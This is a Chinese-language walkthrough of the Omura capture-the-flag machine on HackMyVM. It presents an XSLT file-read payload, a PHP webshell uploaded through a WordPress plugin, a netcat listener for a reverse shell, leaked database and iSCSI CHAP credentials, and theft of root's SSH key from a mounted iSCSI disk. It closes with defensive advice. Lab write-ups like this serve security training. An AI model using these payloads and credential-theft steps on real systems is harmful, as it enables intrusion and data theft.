Omura靶机渗透测试：从XSLT注入到iSCSI提权

1. 项目概述这次渗透测试的目标是HackMyVM平台上的Omura靶机。作为一款专注于网络安全训练的虚拟机Omura模拟了真实环境中常见的漏洞组合。整个测试过程从基础信息收集开始逐步深入最终通过iSCSI服务配置不当获取root权限。本文将详细记录每个环节的技术细节和思考过程。2. 信息收集与初步扫描2.1 网络发现首先使用arp-scan定位目标IP。这个工具通过发送ARP请求来发现本地网络中的活动主机比常规ping扫描更可靠因为它能绕过某些防火墙配置。arp-scan -I eth0 -l输出显示目标IP为192.168.50.195MAC地址08:00:27:C4:26:AA对应Oracle VirtualBox虚拟网卡这提示我们目标可能运行在VirtualBox环境中。2.2 端口扫描使用Nmap进行全面扫描参数说明-sC使用默认脚本扫描-sV服务版本检测-n禁止DNS解析-vv详细输出-min-rate2000加快扫描速度-p-扫描所有端口nmap -sC -sV 192.168.50.195 -n -vv -min-rate2000 -p-扫描结果发现三个开放端口22/tcpOpenSSH 8.4p180/tcpApache httpd 2.4.543260/tcpiSCSI服务Synology DSM特别值得注意的是3260端口的iSCSI服务暴露了域名信息iqn.2023-02.omura.hmv:target01。这个发现为后续的子域名爆破提供了关键线索。3. Web应用渗透3.1 初始访问访问80端口发现一个XSLT转换页面。XSLT可扩展样式表语言转换用于将XML文档转换为其他格式但配置不当可能导致安全风险。使用Gobuster进行目录扫描gobuster dir -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -x php,txt发现两个关键文件/index.php/process.php3.2 XSLT注入漏洞利用XSLT处理外部实体时存在注入风险。我们创建两个文件aa.xml:?xml version1.0 encodingUTF-8? catalog cd titleCD Title/title artistThe artist/artist companyDa Company/company price10000/price year1760/year /cd /catalogas.xsl:xsl:stylesheet xmlns:xslhttp://www.w3.org/1999/XSL/Transform xmlns:abchttp://php.net/xsl version1.0 xsl:template match/ xsl:value-of selectunparsed-text(/etc/passwd, utf-8)/ /xsl:template /xsl:stylesheet通过上传这两个文件成功读取到系统文件确认存在XSLT注入漏洞。从/etc/passwd中发现用户ford但SSH爆破未果。3.3 子域名发现利用之前获得的域名omura.hmv使用wfuzz进行子域名爆破wfuzz -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -H Host: FUZZ.omura.hmv --hh 795,301发现子域名wordpress.omura.hmv对应一个WordPress站点。4. WordPress渗透4.1 目录扫描使用dirsearch扫描WordPress站点dirsearch dir -u http://wordpress.omura.hmv/发现标准WordPress目录结构包括/wp-admin/wp-content/wp-includes4.2 配置文件泄露利用LFI漏洞尝试访问wp-config.php文件。经过测试发现路径为/var/www/wordpress/wp-config.php成功获取数据库凭据define( DB_NAME, wordpressdb ); define( DB_USER, admin ); define( DB_PASSWORD, dw42k25MiXT );4.3 后台入侵使用获得的admin/dw42k25MiXT登录WordPress后台通过插件上传功能获取webshell。创建一个包含以下内容的PHP文件?php system($_GET[cmd]); ?通过访问该文件执行系统命令成功获得www-data权限的反向shellnc -lvnp 90015. 权限提升5.1 初始枚举获取shell后首先进行基本枚举id sudo -l ss -lupta发现无法直接sudo需要寻找其他提权途径。5.2 iSCSI服务利用检查之前发现的3260端口iSCSI服务查找其配置文件cat /etc/rtslib-fb-target/saveconfig.json配置文件中发现CHAP认证凭据用户名root密码gTQynqDRAyqvny7AbpeZ1Vi6e目标名称iqn.2023-02.omura.hmv:target015.3 本地iSCSI连接在攻击机上配置iSCSI连接编辑/etc/iscsi/iscsid.conf启用CHAP认证添加CHAP用户名和密码发现目标iscsiadm -m discovery -t st -p omura.hmv登录目标iscsiadm -m node --targetnameiqn.2023-02.omura.hmv:target01 -p omura.hmv --login挂载发现的磁盘lsblk # 确认新磁盘如sdb mkdir /mnt/iscsi mount /dev/sdb /mnt/iscsi在挂载的磁盘中发现root用户的SSH私钥。5.4 获取root权限使用获得的私钥直接SSH登录root账户chmod 600 id_rsa ssh -i id_rsa root192.168.50.195成功获取root权限可以读取系统上的所有文件包括flag。6. 经验总结与防御建议6.1 攻击路径回顾本次渗透测试的关键路径XSLT注入→读取系统文件子域名爆破→发现WordPress配置文件泄露→获取数据库凭据后台插件上传→获取webshelliSCSI配置不当→获取root私钥6.2 防御措施针对每个攻击面建议的防御措施XSLT处理禁用危险函数php.ini中设置xsl.security_prefs为适当值输入验证严格校验上传的XML/XSL文件内容使用白名单限制允许的XSLT操作WordPress安全限制配置文件访问设置正确的文件权限强化后台安全启用双因素认证插件管理禁用不必要的上传功能iSCSI服务网络隔离iSCSI服务不应暴露在外部网络认证强化使用强密码并定期更换日志监控记录所有iSCSI连接尝试系统层面私钥保护SSH私钥应加密存储最小权限原则服务账户使用最低必要权限定期审计检查系统配置和敏感文件权限6.3 渗透测试技巧信息收集要彻底不要忽视任何服务横幅信息如iSCSI服务暴露的域名思维要发散当常规路径受阻时如无法SSH爆破考虑间接路径如通过iSCSI获取凭证自动化工具配合手动验证工具扫描结果需要人工验证避免误报漏报权限维持获取root后应检查其他持久化方法如cron job、SSH authorized_keys等这次Omura靶机的渗透过程展示了真实环境中可能遇到的多种漏洞组合强调了纵深防御的重要性。每个服务都可能成为攻击入口安全防护需要全面覆盖所有暴露面。